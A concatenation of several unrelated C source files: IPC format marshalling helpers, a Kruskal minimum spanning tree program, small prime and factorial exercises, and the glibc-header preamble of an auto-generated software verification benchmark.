FORMAT_PTR formatChoosePtrFormat(CONST_FORMAT_PTR format,
FORMAT_PTR parentFormat)
{
return(CHOOSE_PTR_FORMAT(format, parentFormat));
}
/* 14-Feb-91: fedor: format array sillyness from StructFMT loops */
FORMAT_ARRAY_PTR formatFormatArray(FORMAT_PTR format)
{
return(format->formatter.a);
}
int32 formatFormatArrayMax(FORMAT_ARRAY_PTR formatArray)
{
return(formatArray[0].i);
}
FORMAT_PTR formatFormatArrayItem(FORMAT_ARRAY_PTR formatArray, int32 i)
{
return(formatArray[i].f);
}
void formatPutChar(BUFFER_PTR buffer, char c)
{
*((char *)buffer->buffer+buffer->bstart) = c;
buffer->bstart += sizeof(char);
}
char formatGetChar(BUFFER_PTR buffer)
{
char c;
c = *((char *)(buffer->buffer+buffer->bstart));
buffer->bstart += sizeof(char);
return c;
}
void formatPutByte(BUFFER_PTR buffer, int32 i)
{
signed char byte = (signed char)i;
buffer->bstart += x_ipc_BYTE_Trans_Encode((GENERIC_DATA_PTR)&byte,
0, buffer->buffer, buffer->bstart);
}
int32 formatGetByte(BUFFER_PTR buffer)
{
signed char byte;
int byteOrder;
ALIGNMENT_TYPE alignment;
LOCK_M_MUTEX;
byteOrder = GET_M_GLOBAL(byteOrder);
alignment = GET_M_GLOBAL(alignment);
UNLOCK_M_MUTEX;
buffer->bstart += x_ipc_BYTE_Trans_Decode((GENERIC_DATA_PTR)&byte,
0, buffer->buffer, buffer->bstart,
byteOrder, alignment);
return (int32)byte;
}
void formatPutUByte(BUFFER_PTR buffer, int32 i)
{
unsigned char byte = (unsigned char)i;
buffer->bstart += x_ipc_BYTE_Trans_Encode((GENERIC_DATA_PTR)&byte,
0, buffer->buffer, buffer->bstart);
}
int32 formatGetUByte(BUFFER_PTR buffer)
{
unsigned char byte;
int byteOrder;
ALIGNMENT_TYPE alignment;
LOCK_M_MUTEX;
byteOrder = GET_M_GLOBAL(byteOrder);
alignment = GET_M_GLOBAL(alignment);
UNLOCK_M_MUTEX;
buffer->bstart += x_ipc_BYTE_Trans_Decode((GENERIC_DATA_PTR)&byte,
0, buffer->buffer, buffer->bstart,
byteOrder, alignment);
return (int32)byte;
}
void formatPutShort(BUFFER_PTR buffer, int32 i)
{
short s = (short)i;
buffer->bstart += x_ipc_SHORT_Trans_Encode((GENERIC_DATA_PTR)&s,
0, buffer->buffer, buffer->bstart);
}
int32 formatGetShort(BUFFER_PTR buffer)
{
short s;
int byteOrder;
ALIGNMENT_TYPE alignment;
LOCK_M_MUTEX;
byteOrder = GET_M_GLOBAL(byteOrder);
alignment = GET_M_GLOBAL(alignment);
UNLOCK_M_MUTEX;
buffer->bstart += x_ipc_SHORT_Trans_Decode((GENERIC_DATA_PTR)&s,
0, buffer->buffer, buffer->bstart,
byteOrder, alignment);
return (int32)s;
}
void formatPutInt(BUFFER_PTR buffer, int32 i)
{
buffer->bstart += x_ipc_INT_Trans_Encode((GENERIC_DATA_PTR)&i,
0, buffer->buffer, buffer->bstart
);
}
int32 formatGetInt(BUFFER_PTR buffer)
{
int32 i;
int byteOrder;
ALIGNMENT_TYPE alignment;
LOCK_M_MUTEX;
byteOrder = GET_M_GLOBAL(byteOrder);
alignment = GET_M_GLOBAL(alignment);
UNLOCK_M_MUTEX;
buffer->bstart += x_ipc_INT_Trans_Decode((GENERIC_DATA_PTR)&i,
0, buffer->buffer, buffer->bstart,
byteOrder, alignment);
return i;
}
/* "single-float" LISP arguments do not seem to work
with Unix gcc or acc compiler. "double-float" LISP
arguments do not seem to work with PC Allegro. */
#ifdef PC_ALLEGRO
void formatGetFloat(BUFFER_PTR buffer, float *fVal)
#else
double formatGetFloat(BUFFER_PTR buffer)
#endif /* PC_ALLEGRO */
{
float f;
int byteOrder;
ALIGNMENT_TYPE alignment;
LOCK_M_MUTEX;
byteOrder = GET_M_GLOBAL(byteOrder);
alignment = GET_M_GLOBAL(alignment);
UNLOCK_M_MUTEX;
buffer->bstart += x_ipc_FLOAT_Trans_Decode((GENERIC_DATA_PTR)&f,
0, buffer->buffer, buffer->bstart,
byteOrder, alignment);
#ifdef PC_ALLEGRO
*fVal = f;
#else
return (double)f;
#endif /* PC_ALLEGRO */
}
/* "single-float" LISP arguments do not seem to work with
gcc or acc compiler. "double-float" LISP arguments do
not seem to work with PC Allegro. */
#ifdef PC_ALLEGRO
void formatPutFloat(BUFFER_PTR buffer, float f)
#else
void formatPutFloat(BUFFER_PTR buffer, double f)
#endif /* PC_ALLEGRO */
{
/* 14-Mar-91: fedor: this sillyness forces a pointer to a float
without changing that float into a double. This is needed
because FLOAT_Trans will transfer only 4 bytes but the conversion
to a double will only transfer the first 4 bytes of the correct value. */
float f2;
f2 = (float)f;
buffer->bstart += x_ipc_FLOAT_Trans_Encode((GENERIC_DATA_PTR)&f2,
0, buffer->buffer, buffer->bstart
);
}
void formatPutDouble(BUFFER_PTR buffer, double d)
{
buffer->bstart += x_ipc_DOUBLE_Trans_Encode((GENERIC_DATA_PTR)&d,
0, buffer->buffer, buffer->bstart
);
}
#ifdef PC_ALLEGRO
void formatGetDouble(BUFFER_PTR buffer, double *dVal)
#else
double formatGetDouble(BUFFER_PTR buffer)
#endif /* PC_ALLEGRO */
{
double d;
int byteOrder;
ALIGNMENT_TYPE alignment;
LOCK_M_MUTEX;
byteOrder = GET_M_GLOBAL(byteOrder);
alignment = GET_M_GLOBAL(alignment);
UNLOCK_M_MUTEX;
buffer->bstart += x_ipc_DOUBLE_Trans_Decode((GENERIC_DATA_PTR)&d, 0,
buffer->buffer, buffer->bstart,
byteOrder, alignment);
#ifdef PC_ALLEGRO
*dVal = d;
#else
return d;
#endif /* PC_ALLEGRO */
}
void formatPutUShort(BUFFER_PTR buffer, int32 i)
{
formatPutShort(buffer, i);
}
unsigned int formatGetUShort(BUFFER_PTR buffer)
{
unsigned short us;
int byteOrder;
ALIGNMENT_TYPE alignment;
LOCK_M_MUTEX;
byteOrder = GET_M_GLOBAL(byteOrder);
alignment = GET_M_GLOBAL(alignment);
UNLOCK_M_MUTEX;
buffer->bstart += x_ipc_SHORT_Trans_Decode((GENERIC_DATA_PTR)&us,
0, buffer->buffer, buffer->bstart,
byteOrder, alignment);
return (int32)us;
}
void formatPutUInt(BUFFER_PTR buffer, int32 i)
{
formatPutInt(buffer, i);
}
unsigned int formatGetUInt(BUFFER_PTR buffer)
{
unsigned int ui;
int byteOrder;
ALIGNMENT_TYPE alignment;
LOCK_M_MUTEX;
byteOrder = GET_M_GLOBAL(byteOrder);
alignment = GET_M_GLOBAL(alignment);
UNLOCK_M_MUTEX;
buffer->bstart += x_ipc_INT_Trans_Decode((GENERIC_DATA_PTR)&ui,
0, buffer->buffer, buffer->bstart,
byteOrder, alignment);
return (unsigned int)ui;
}
CONST_FORMAT_PTR findNamedFormat (CONST_FORMAT_PTR format)
{
return (format->type == NamedFMT ? x_ipc_fmtFind(format->formatter.name) : NULL);
}
/* Find, and return, the index of the string within the enum's names.
Return -1 if not found.
Note: Change on 1/23/97 forces all Lisp enum names to uppercase,
so can use regular string comparison. */
int32 enumStringIndex (CONST_FORMAT_PTR format, char *enumString)
{
int i;
for (i=2; i<format->formatter.a[0].i; i++) {
if (STREQ(format->formatter.a[i].f->formatter.name, enumString)) {
return (i-2);
}
}
return -1;
}
char *enumValString (CONST_FORMAT_PTR format, int32 enumVal)
{
if (format->formatter.a[0].i > 2 &&
0 <= enumVal && enumVal <= ENUM_MAX_VAL(format)) {
return (format->formatter.a[enumVal+2].f->formatter.name);
} else {
return "";
}
}
int msgByteOrder (void)
{
int result;
LOCK_M_MUTEX;
result = GET_M_GLOBAL(byteOrder);
UNLOCK_M_MUTEX;
return result;
}
int hostByteOrder (void)
{
return BYTE_ORDER;
}
int32 DecodeInteger(GENERIC_DATA_PTR DataArray, int32 Start)
{
int32 Integer;
DataArray += Start;
Integer = *((int32 *) DataArray);
return Integer;
}
void EncodeInteger(int32 Integer, GENERIC_DATA_PTR DataArray, int32 Start)
{
DataArray += Start;
*((int32 *) DataArray) = Integer;
}
/* LISP floating point numbers are equivalent to C "double" format */
double DecodeFloat(GENERIC_DATA_PTR DataArray, int32 Start)
{
float Float;
DataArray += Start;
BCOPY(DataArray, (char *)&Float, sizeof(float));
return (double)Float;
}
/* LISP floating point numbers are equivalent to C "double" format */
void EncodeFloat(double Float, GENERIC_DATA_PTR DataArray, int32 Start)
{
float RealFloat;
DataArray += Start;
RealFloat = (float)Float;
BCOPY((char *)&RealFloat, DataArray, sizeof(float));
}
float DecodeDouble(GENERIC_DATA_PTR DataArray, int32 Start)
{
double Double;
DataArray += Start;
BCOPY(DataArray, (char *)&Double, sizeof(double));
return Double;
}
void EncodeDouble(double Double, GENERIC_DATA_PTR DataArray, int32 Start)
{
DataArray += Start;
BCOPY((char *)&Double, DataArray, sizeof(double));
}
void BCOPY_Bytes(char Array1[], int32 Start1, char Array2[], int32 Start2,
int32 Num_Bytes)
{
BCOPY(Array1+Start1, Array2+Start2, Num_Bytes);
}
#ifdef NMP_IPC
#include "ipcPriv.h"
#ifdef macintosh
__declspec(export)
#endif
BOOLEAN checkMarshallStatus (FORMATTER_PTR formatter); /* Prototype defn */
BOOLEAN checkMarshallStatus (FORMATTER_PTR formatter)
{
if (!X_IPC_INITIALIZED()) {
RETURN_ERROR(IPC_Not_Initialized);
} else if (formatter && formatter->type == BadFormatFMT) {
RETURN_ERROR(IPC_Illegal_Formatter);
} else {
return IPC_OK;
}
}
#endif
#if defined(ALLEGRO) && !defined(PC_ALLEGRO)
/****************************************************************
*
* Allegro-specific functions
*
****************************************************************/
/* Forward Declarations */
int32 x_ipcRefNameLength(X_IPC_REF_PTR ref);
char *x_ipcRefNameLisp(X_IPC_REF_PTR ref, int32 length);
int32 enumValNameLength (CONST_FORMAT_PTR format, int32 enumVal);
char *enumValNameString (CONST_FORMAT_PTR format, int32 enumVal);
int32 x_ipcRefNameLength(X_IPC_REF_PTR ref)
{
if (ref && ref->name)
return strlen(ref->name);
else
return 0;
}
char *x_ipcRefNameLisp(X_IPC_REF_PTR ref, int32 length)
{
BCOPY(ref->name, (char *)Vecdata(SymbolValue(lisp_value(0))), length);
return (char *)SymbolValue(lisp_value(0));
}
/* Find string with the given enumerated value and return the string length;
Return 0 if value outside range or enum has no strings. */
int32 enumValNameLength (CONST_FORMAT_PTR format, int32 enumVal)
{
if (format->formatter.a[0].i > 2 &&
0 <= enumVal && enumVal <= ENUM_MAX_VAL(format)) {
return strlen(format->formatter.a[enumVal+2].f->formatter.name);
} else {
return 0;
}
}
/* Find string with the given enumerated value, and copy the string into
the (already allocated) LISP vector */
char *enumValNameString (CONST_FORMAT_PTR format, int32 enumVal)
{
char *name;
if (format->formatter.a[0].i > 2 &&
0 <= enumVal && enumVal <= ENUM_MAX_VAL(format)) {
name = format->formatter.a[enumVal+2].f->formatter.name;
BCOPY(name, (char *)Vecdata(SymbolValue(lisp_value(0))), strlen(name));
}
return (char *)SymbolValue(lisp_value(0));
}
#endif /* ALLEGRO */
#endif /* LISP */
|
the_stack_data/1633.c | /* Aim: to find out all the edges of a given graph which belong to a minimum spanning tree...using Kruskal's Algorithm*/
/*
Algorithm :-
1. Sort edges by ascending order of edge weights
2. Traverse the sorted edges and look at the two nodes the edge belongs to , if the nodes are already unified we don't include this edge, otherwise we include it and unify the nodes
3. The algorithm terminates when every edge has been processed or all the vertices have been unified
*/
#include <stdio.h>
#include <stdlib.h>
#define MAX 40
struct Edge{
int u,v,w;
};
typedef struct Edge edge;
struct edge_list
{
edge data[MAX];
int n;
};
typedef struct edge_list E;
E elist,slist;
int Graph[MAX][MAX];
int num;
int find(int b[],int n)
{
if(b[n]==-1)
return n;
else
return(b[n]);
}
void union_sets(int b[],int c1,int c2)
{
int i;
for(i=0;i<num;i++)
{
if(b[i]==c2)
b[i]=c1;
}
}
void sort()
{
int i,j;
edge temp;
for(i=1;i<elist.n;i++)
{
for(j=0;j<elist.n-1;j++)
{
if(elist.data[j].w>elist.data[j+1].w)
{
temp=elist.data[j];
elist.data[j]=elist.data[j+1];
elist.data[j+1]=temp;
}
}
}
}
void KruskalAlgo()
{
int b[MAX],i,j,c1,c2;
elist.n=0;
for(i=1;i<num;i++)
{
for(j=0;j<i;j++)
{
if(Graph[i][j]!=0)
{
elist.data[elist.n].u=i;
elist.data[elist.n].v=j;
elist.data[elist.n].w=Graph[i][j];
elist.n++;
}
}
}
sort();
for(i=0;i<num;i++)
b[i]=i;
slist.n=0;
for(i=0;i<elist.n;i++)
{
c1=find(b,elist.data[i].u);
c2=find(b,elist.data[i].v);
if(c1!=c2)
{
slist.data[slist.n]=elist.data[i];
slist.n=slist.n+1;
union_sets(b,c1,c2);
}
}
}
void print()
{
int i,cost=0;
for(i=0;i<slist.n;i++)
{
printf("\n%d-%d:%d",slist.data[i].u,slist.data[i].v,slist.data[i].w);
cost=cost+slist.data[i].w;
}
printf("\nThe cost for the spanning tree is = %d\n",cost);
}
int main()
{
int i,j;
printf("\nWelcome to Kruskals's Minimum spanning tree\n");
printf("Enter the value of n : ");
scanf("%d",&num);
printf("\n");
printf("Enter the elements of the Graph:\n\n");
for(i=0;i<num;i++)
{
for(j=0;j<num;j++)
{
printf("Enter the element graph[%d][%d]: ",i,j);
scanf("%d",&Graph[i][j]);
printf("\n");
}
}
KruskalAlgo();
print();
} |
the_stack_data/125140564.c | #include<stdio.h>
#include<stdlib.h>
int find(int n)
{
for(int i=2;i<=n/2;i++)
if(n%i==0)return 0;
return 1;
}
int main()
{
int n,m;
scanf("%d",&n);
n++;
while(1)
if(find(n++)==1)break;
printf("%d\n",--n);
return 0;
} |
the_stack_data/698406.c | #include <stdio.h>
void main()
{
int n;
float i=1,jc=1;
scanf("%d",&n);
while(i<=n)
{
jc=jc*i;
i=i+1;
}
printf("%d! = %f\n",n,jc);
system("pause");
} |
the_stack_data/336791.c |
// P() {0==-1}
/* Copyright (C) 1991-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/* This header is separate from features.h so that the compiler can
include it implicitly at the start of every compilation. It must
not itself include <features.h> or any other header that includes
<features.h> because the implicit include comes before any feature
test macros that may be defined in a source file before it first
explicitly includes a system header. GCC knows the name of this
header in order to preinclude it. */
/* glibc's intent is to support the IEC 559 math functionality, real
and complex. If the GCC (4.9 and later) predefined macros
specifying compiler intent are available, use them to determine
whether the overall intent is to support these features; otherwise,
presume an older compiler has intent to support these features and
define these macros by default. */
/* wchar_t uses ISO/IEC 10646 (2nd ed., published 2011-03-15) /
Unicode 6.0. */
/* We do not support C11 <threads.h>. */
// P() {0==-1}
void __VERIFIER_assert(int x);
// P() {0==-1}
void __VERIFIER_assume(int f1);
/* Modified to handle non determinism in PIPS*/
// P() {0==-1}
int __VERIFIER_nondet_int(void);
// P() {0==-1}
unsigned int __VERIFIER_nondet_uint(void);
// P() {0==-1}
_Bool __VERIFIER_nondet_bool(void);
// P() {0==-1}
char __VERIFIER_nondet_char(void);
// P() {0==-1}
unsigned char __VERIFIER_nondet_uchar(void);
/*
* generated by CSeq [ 0000 / 0000 ]
*
* 2C9F merger-0.0-2015.07.09
* FB59 parser-0.0-2015.06.26
* AB0B module-0.0-2015.07.16 ]
*
* 2015-08-18 10:33:44
*
* params:
* -l out, --backend cpachecker, --unwind 2, --rounds 2, -i ../../../prototype/test7/benchmarks/cseq/28_buggy_simple_loop1_vf_false-unreach-call.c,
*
* modules:
* 36D1 workarounds-0.0 ()
* 5E66 functiontracker-0.0 ()
* AE03 preinstrumenter-0.0 (error-label)
* 8CEB constants-0.0 ()
* 6EDD spinlock-0.0 ()
* 9C8E switchconverter-0.0 ()
* 6A40 dowhileconverter-0.0 ()
* B23B conditionextractor-0.0 ()
* BB48 varnames-0.0 ()
* 698C inliner-0.0 ()
* 1629 unroller-0.0 (unwind)
* 8667 duplicator-0.0 ()
* 72E0 condwaitconverter-0.0 ()
* 454D lazyseq-0.0 (rounds schedule threads deadlock)
* 2B01 instrumenter-0.0 (backend bitwidth header)
*
*/
/* Define ISO C stdio on top of C++ iostreams.
Copyright (C) 1991-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/*
* ISO C99 Standard: 7.19 Input/output <stdio.h>
*/
/* Copyright (C) 1991-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/* These are defined by the user (or the compiler)
to specify the desired environment:
__STRICT_ANSI__ ISO Standard C.
_ISOC99_SOURCE Extensions to ISO C89 from ISO C99.
_ISOC11_SOURCE Extensions to ISO C99 from ISO C11.
_POSIX_SOURCE IEEE Std 1003.1.
_POSIX_C_SOURCE If ==1, like _POSIX_SOURCE; if >=2 add IEEE Std 1003.2;
if >=199309L, add IEEE Std 1003.1b-1993;
if >=199506L, add IEEE Std 1003.1c-1995;
if >=200112L, all of IEEE 1003.1-2004
if >=200809L, all of IEEE 1003.1-2008
_XOPEN_SOURCE Includes POSIX and XPG things. Set to 500 if
Single Unix conformance is wanted, to 600 for the
sixth revision, to 700 for the seventh revision.
_XOPEN_SOURCE_EXTENDED XPG things and X/Open Unix extensions.
_LARGEFILE_SOURCE Some more functions for correct standard I/O.
_LARGEFILE64_SOURCE Additional functionality from LFS for large files.
_FILE_OFFSET_BITS=N Select default filesystem interface.
_BSD_SOURCE ISO C, POSIX, and 4.3BSD things.
_SVID_SOURCE ISO C, POSIX, and SVID things.
_ATFILE_SOURCE Additional *at interfaces.
_GNU_SOURCE All of the above, plus GNU extensions.
_DEFAULT_SOURCE The default set of features (taking precedence over
__STRICT_ANSI__).
_REENTRANT Select additionally reentrant object.
_THREAD_SAFE Same as _REENTRANT, often used by other systems.
_FORTIFY_SOURCE If set to numeric value > 0 additional security
measures are defined, according to level.
The `-ansi' switch to the GNU C compiler, and standards conformance
options such as `-std=c99', define __STRICT_ANSI__. If none of
these are defined, or if _DEFAULT_SOURCE is defined, the default is
to have _SVID_SOURCE, _BSD_SOURCE, and _POSIX_SOURCE set to one and
_POSIX_C_SOURCE set to 200809L. If more than one of these are
defined, they accumulate. For example __STRICT_ANSI__,
_POSIX_SOURCE and _POSIX_C_SOURCE together give you ISO C, 1003.1,
and 1003.2, but nothing else.
These are defined by this file and are used by the
header files to decide what to declare or define:
__USE_ISOC11 Define ISO C11 things.
__USE_ISOC99 Define ISO C99 things.
__USE_ISOC95 Define ISO C90 AMD1 (C95) things.
__USE_POSIX Define IEEE Std 1003.1 things.
__USE_POSIX2 Define IEEE Std 1003.2 things.
__USE_POSIX199309 Define IEEE Std 1003.1, and .1b things.
__USE_POSIX199506 Define IEEE Std 1003.1, .1b, .1c and .1i things.
__USE_XOPEN Define XPG things.
__USE_XOPEN_EXTENDED Define X/Open Unix things.
__USE_UNIX98 Define Single Unix V2 things.
__USE_XOPEN2K Define XPG6 things.
__USE_XOPEN2KXSI Define XPG6 XSI things.
__USE_XOPEN2K8 Define XPG7 things.
__USE_XOPEN2K8XSI Define XPG7 XSI things.
__USE_LARGEFILE Define correct standard I/O things.
__USE_LARGEFILE64 Define LFS things with separate names.
__USE_FILE_OFFSET64 Define 64bit interface as default.
__USE_BSD Define 4.3BSD things.
__USE_SVID Define SVID things.
__USE_MISC Define things common to BSD and System V Unix.
__USE_ATFILE Define *at interfaces and AT_* constants for them.
__USE_GNU Define GNU extensions.
__USE_REENTRANT Define reentrant/thread-safe *_r functions.
__USE_FORTIFY_LEVEL Additional security measures used, according to level.
The macros `__GNU_LIBRARY__', `__GLIBC__', and `__GLIBC_MINOR__' are
defined by this file unconditionally. `__GNU_LIBRARY__' is provided
only for compatibility. All new code should use the other symbols
to test for features.
All macros listed above as possibly being defined by this file are
explicitly undefined if they are not explicitly defined.
Feature-test macros that are not defined by the user or compiler
but are implied by the other feature-test macros defined (or by the
lack of any definitions) are defined by the file. */
/* Undefine everything, so we get a clean slate. */
/* Suppress kernel-name space pollution unless user expressedly asks
for it. */
/* Convenience macros to test the versions of glibc and gcc.
Use them like this:
#if __GNUC_PREREQ (2,8)
... code requiring gcc 2.8 or later ...
#endif
Note - they won't work for gcc1 or glibc1, since the _MINOR macros
were not defined then. */
/* If _GNU_SOURCE was defined by the user, turn on all the other features. */
/* If nothing (other than _GNU_SOURCE and _DEFAULT_SOURCE) is defined,
define _DEFAULT_SOURCE, _BSD_SOURCE and _SVID_SOURCE. */
/* This is to enable the ISO C11 extension. */
/* This is to enable the ISO C99 extension. */
/* This is to enable the ISO C90 Amendment 1:1995 extension. */
/* This is to enable compatibility for ISO C++11.
So far g++ does not provide a macro. Check the temporary macro for
now, too. */
/* If none of the ANSI/POSIX macros are defined, or if _DEFAULT_SOURCE
is defined, use POSIX.1-2008 (or another version depending on
_XOPEN_SOURCE). */
/* Get definitions of __STDC_* predefined macros, if the compiler has
not preincluded this header automatically. */
/* Copyright (C) 1991-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/* This macro indicates that the installed library is the GNU C Library.
For historic reasons the value now is 6 and this will stay from now
on. The use of this variable is deprecated. Use __GLIBC__ and
__GLIBC_MINOR__ now (see below) when you want to test for a specific
GNU C library version and use the values in <gnu/lib-names.h> to get
the sonames of the shared libraries. */
/* Major and minor version number of the GNU C library package. Use
these macros to test for features in specific releases. */
/* This is here only because every header file already includes this one. */
/* Copyright (C) 1992-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/* We are almost always included from features.h. */
/* The GNU libc does not support any K&R compilers or the traditional mode
of ISO C compilers anymore. Check for some of the combinations not
anymore supported. */
/* Some user header file might have defined this before. */
/* These two macros are not used in glibc anymore. They are kept here
only because some other projects expect the macros to be defined. */
/* For these things, GCC behaves the ANSI way normally,
and the non-ANSI way under -traditional. */
/* This is not a typedef so `const __ptr_t' does the right thing. */
/* C++ needs to know that types and declarations are C, not C++. */
/* The standard library needs the functions from the ISO C90 standard
in the std namespace. At the same time we want to be safe for
future changes and we include the ISO C99 code in the non-standard
namespace __c99. The C++ wrapper header take case of adding the
definitions to the global namespace. */
/* For compatibility we do not add the declarations into any
namespace. They will end up in the global namespace which is what
old code expects. */
/* Fortify support. */
/* Support for flexible arrays. */
/* __asm__ ("xyz") is used throughout the headers to rename functions
at the assembly language level. This is wrapped by the __REDIRECT
macro, in order to support compilers that can do this some other
way. When compilers don't support asm-names at all, we have to do
preprocessor tricks instead (which don't have exactly the right
semantics, but it's the best we can do).
Example:
int __REDIRECT(setpgrp, (__pid_t pid, __pid_t pgrp), setpgid); */
/* GCC has various useful declarations that can be made with the
`__attribute__' syntax. All of the ways we use this do fine if
they are omitted for compilers that don't understand it. */
/* At some point during the gcc 2.96 development the `malloc' attribute
for functions was introduced. We don't want to use it unconditionally
(although this would be possible) since it generates warnings. */
/* Tell the compiler which arguments to an allocation function
indicate the size of the allocation. */
/* At some point during the gcc 2.96 development the `pure' attribute
for functions was introduced. We don't want to use it unconditionally
(although this would be possible) since it generates warnings. */
/* This declaration tells the compiler that the value is constant. */
/* At some point during the gcc 3.1 development the `used' attribute
for functions was introduced. We don't want to use it unconditionally
(although this would be possible) since it generates warnings. */
/* gcc allows marking deprecated functions. */
/* At some point during the gcc 2.8 development the `format_arg' attribute
for functions was introduced. We don't want to use it unconditionally
(although this would be possible) since it generates warnings.
If several `format_arg' attributes are given for the same function, in
gcc-3.0 and older, all but the last one are ignored. In newer gccs,
all designated arguments are considered. */
/* At some point during the gcc 2.97 development the `strfmon' format
attribute for functions was introduced. We don't want to use it
unconditionally (although this would be possible) since it
generates warnings. */
/* The nonull function attribute allows to mark pointer parameters which
must not be NULL. */
/* If fortification mode, we warn about unused results of certain
function calls which can lead to problems. */
/* Forces a function to be always inlined. */
/* Associate error messages with the source location of the call site rather
than with the source location inside the function. */
/* GCC 4.3 and above allow passing all anonymous arguments of an
__extern_always_inline function to some other vararg function. */
/* It is possible to compile containing GCC extensions even if GCC is
run in pedantic mode if the uses are carefully marked using the
`__extension__' keyword. But this is not generally available before
version 2.8. */
/* __restrict is known in EGCS 1.2 and above. */
/* ISO C99 also allows to declare arrays as non-overlapping. The syntax is
array_name[restrict]
GCC 3.1 supports this. */
/* Determine the wordsize from the preprocessor defines. */
/* Both x86-64 and x32 use the 64-bit system call interface. */
/* If we don't have __REDIRECT, prototypes will be missing if
__USE_FILE_OFFSET64 but not __USE_LARGEFILE[64]. */
/* Decide whether we can define 'extern inline' functions in headers. */
/* This is here only because every header file already includes this one.
Get the definitions of all the appropriate `__stub_FUNCTION' symbols.
<gnu/stubs.h> contains `#define __stub_FUNCTION' when FUNCTION is a stub
that will always return failure (and set errno to ENOSYS). */
/* This file is automatically generated.
This file selects the right generated file of `__stub_FUNCTION' macros
based on the architecture being compiled for. */
/* This file is automatically generated.
It defines a symbol `__stub_FUNCTION' for each function
in the C library which is a stub, meaning it will fail
every time called, usually setting errno to ENOSYS. */
/* Copyright (C) 1989-2013 Free Software Foundation, Inc.
This file is part of GCC.
GCC is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3, or (at your option)
any later version.
GCC is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
Under Section 7 of GPL version 3, you are granted additional
permissions described in the GCC Runtime Library Exception, version
3.1, as published by the Free Software Foundation.
You should have received a copy of the GNU General Public License and
a copy of the GCC Runtime Library Exception along with this program;
see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
<http://www.gnu.org/licenses/>. */
/*
* ISO C Standard: 7.17 Common definitions <stddef.h>
*/
/* Any one of these symbols __need_* means that GNU libc
wants us just to define one data type. So don't define
the symbols that indicate this file's entire job has been done. */
/* This avoids lossage on SunOS but only if stdtypes.h comes first.
There's no way to win with the other order! Sun lossage. */
/* On 4.3bsd-net2, make sure ansi.h is included, so we have
one less case to deal with in the following. */
/* On FreeBSD 5, machine/ansi.h does not exist anymore... */
/* In 4.3bsd-net2, machine/ansi.h defines these symbols, which are
defined if the corresponding type is *not* defined.
FreeBSD-2.1 defines _MACHINE_ANSI_H_ instead of _ANSI_H_.
NetBSD defines _I386_ANSI_H_ and _X86_64_ANSI_H_ instead of _ANSI_H_ */
/* Sequent's header files use _PTRDIFF_T_ in some conflicting way.
Just ignore it. */
/* On VxWorks, <type/vxTypesBase.h> may have defined macros like
_TYPE_size_t which will typedef size_t. fixincludes patched the
vxTypesBase.h so that this macro is only defined if _GCC_SIZE_T is
not defined, and so that defining this macro defines _GCC_SIZE_T.
If we find that the macros are still defined at this point, we must
invoke them so that the type is defined as expected. */
/* In case nobody has defined these types, but we aren't running under
GCC 2.00, make sure that __PTRDIFF_TYPE__, __SIZE_TYPE__, and
__WCHAR_TYPE__ have reasonable values. This can happen if the
parts of GCC is compiled by an older compiler, that actually
include gstddef.h, such as collect2. */
/* Signed type of difference of two pointers. */
/* Define this type if we are doing the whole job,
or if we want this type in particular. */
/* Unsigned type of `sizeof' something. */
/* Define this type if we are doing the whole job,
or if we want this type in particular. */
// P() {0==-1}
typedef unsigned long int size_t;
/* Wide character type.
Locale-writers should change this as necessary to
be big enough to hold unique values not between 0 and 127,
and not (wchar_t) -1, for each defined multibyte character. */
/* Define this type if we are doing the whole job,
or if we want this type in particular. */
/* In 4.3bsd-net2, leave these undefined to indicate that size_t, etc.
are already defined. */
/* BSD/OS 3.1 and FreeBSD [23].x require the MACHINE_ANSI_H check here. */
